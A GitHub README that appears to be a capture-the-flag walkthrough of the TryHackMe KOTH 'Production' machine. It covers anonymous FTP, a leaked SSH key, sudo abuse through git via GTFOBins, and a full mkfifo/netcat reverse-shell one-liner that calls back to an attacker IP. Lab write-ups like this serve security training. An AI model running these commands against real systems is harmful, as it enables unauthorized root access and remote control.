Skip to content

hoodietramp/TryHackMe-KOTH-Machine-Production-Writeup

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Koth Production


IP: 10.10.224.175


Let's search for Open Ports via Nmap:

nmap -sC -sV -oN nmap/initial 10.10.224.175

21
22
139
445
9001
9002

image


We can see anonymous login enabled for ftp:

Let's login then (:

image

We get id-rsa of a user, if we get the public key too, and cat that out we can see the id_rsa was of user ashu


Login via user Ashu:

First you need to give the id_rsa read,write permissions using

chmod 600 id_rsa

Let's login-

ssh -i id_rsa [email protected]


Getting root via user ashu:

Let's check for sudo abilities for ashu

sudo -l

image

We see, we can just directly switch to user skidy with sudo-

sudo su skidy

image

YAY!

Now, before priv-esc, if we try to look into the home directory of user skidy, we will find a
directory named homework, and in there there's a python script server1.py, if you cat that
you'll find the password you need to enter to access the backdoor on port 9001

image

Let's check for the sudo abilities of user skidy:

image

We see /usr/bin/git there, let's check its gtfo-bins page

GTFO-BINS

image

After doing-

sudo git -p help config

we can type !/bin/bash to get root

image


Getting Root via port 9001, 9002:
nc 10.10.224.175 9001

It is a backdoor for user ashu...

put the pass we found in the python script in the home directory of user skidy y......!

image

On port 9001, do-

echo "#!/bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.91.66 8888 >/tmp/f" > /tmp/a; chmod +x /tmp/a

image

Now, let's use port 9002 to get a rev-shell on the port we put above-

nc 10.10.224.175 9002

to get a rev-shell on port 8888, start a netcat listener on your machine

nc -lnvp 8888

NOW on port 9002, run the command-

/tmp/./a

Yep, we got our shell as root (:

image


Thanks For Reading <3

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages